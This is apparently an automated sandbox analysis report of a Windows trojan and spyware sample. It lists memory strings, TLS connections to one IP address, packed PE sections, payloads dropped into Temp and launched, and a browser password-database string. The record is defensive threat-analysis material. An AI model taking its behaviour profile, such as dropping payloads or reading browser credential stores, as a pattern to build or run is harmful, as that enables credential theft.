Source: XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49732 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: XNtOBQ5NHr.exe	Static PE information: section name:
Source: XNtOBQ5NHr.exe	Static PE information: section name: .idata
Source: XNtOBQ5NHr.exe	Static PE information: section name:
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe.0.dr	Static PE information: section name:
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe.0.dr	Static PE information: section name: .idata
Source: YYVZHLAZ7NPNQKZ17XJO.exe.0.dr	Static PE information: section name:
Source: YYVZHLAZ7NPNQKZ17XJO.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

Code function: 0_3_01294F3D

0_3_01294F3D

Source: XNtOBQ5NHr.exe, 00000000.00000003.2349281968.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2363820133.00000000061AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2369333613.00000000060BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2376751367.00000000061F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2349379258.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2353719340.0000000006190000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2373860799.00000000061F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2362437575.00000000062AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2375874706.00000000061F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2374883317.00000000061F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2349794433.0000000006164000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2358092497.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2349481256.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2374588560.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2370552246.00000000060C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2352843448.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2370736089.00000000061E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2360204579.00000000060C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2376132860.000000000632D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2372883391.0000000006313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2368531358.00000000061BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2378054838.0000000006355000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2372643129.00000000061DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2350559253.00000000060C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2353844326.0000000006264000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2374315946.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2371999290.00000000061D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2351839536.0000000006171000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2351958439.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2352467186.0000000006176000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2378613173.000000000620C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2356301451.0000000006284000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2370114790.00000000061CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2354106793.0000000006187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2350805645.00000000060B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2352079578.0000000006172000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2377761759.0000000006200000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2350258068.0000000006157000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2378333408.00000000060C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2373593565.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2353042643.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2377493830.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2362931331.00000000060B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2357568398.000000000619D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2359704204.000000000619F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2371380835.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2355720154.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2360648291.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2352340020.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2374099624.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2355087721.000000000619B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2358602073.000000000619F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2357782984.000000000627E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2349097513.0000000005D58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2371786531.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2376422475.00000000060C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2369827731.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2361813461.00000000061AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2359961505.000000000628C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2354237936.0000000006260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2353586931.00000000060C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2350380780.0000000006200000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2351720280.00000000060BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2357207962.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2359443695.00000000060B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2352591871.00000000060BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385609004.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2353981350.00000000060BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2351458837.0000000006163000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2352230503.000000000622A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2351601452.0000000006214000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2375583000.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2379485809.00000000060BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2352718217.000000000617E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2354364377.00000000060C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2371170690.00000000061E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2379034243.00000000060B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2350013301.0000000006164000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2350685470.0000000006167000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2367713664.00000000062A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2349182420.0000000005F17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2369127244.00000000061CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2369535423.00000000061CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2368929305.00000000060C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2356014775.0000000006197000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2368345803.00000000060C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385360794.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2372234149.00000000060B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2351082521.00000000060B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2350124419.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2368721633.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2350943480.000000000615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2353381955.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2384117471.000000000637B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2370346982.00000000062E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2349907685.00000000060BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2361263389.00000000060B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2371571878.00000000061DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385475203.0000000005C1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2349585417.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2379258539.0000000006212000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2375235461.0000000006330000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2370949897.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2349688783.00000000060C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385269082.0000000005C40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2353225099.0000000006184000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs XNtOBQ5NHr.exe

Source: XNtOBQ5NHr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: XNtOBQ5NHr.exe	Static PE information: Section: ZLIB complexity 0.997337863869863
Source: XNtOBQ5NHr.exe	Static PE information: Section: xggnqxoz ZLIB complexity 0.9950331046279213

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@3/3

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I8TEVW54DAWA7LANTKTUH8I1LE.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

File created: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: XNtOBQ5NHr.exe, 00000000.00000003.2148592225.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2148141361.0000000005C39000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: XNtOBQ5NHr.exe

ReversingLabs: Detection: 52%

Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: YYVZHLAZ7NPNQKZ17XJO.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

File read: C:\Users\user\Desktop\XNtOBQ5NHr.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\XNtOBQ5NHr.exe "C:\Users\user\Desktop\XNtOBQ5NHr.exe"
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Process created: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe "C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe"
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Process created: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe "C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe"
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Process created: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe "C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Process created: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe "C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe"	Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: sspicli.dll	Jump to behavior
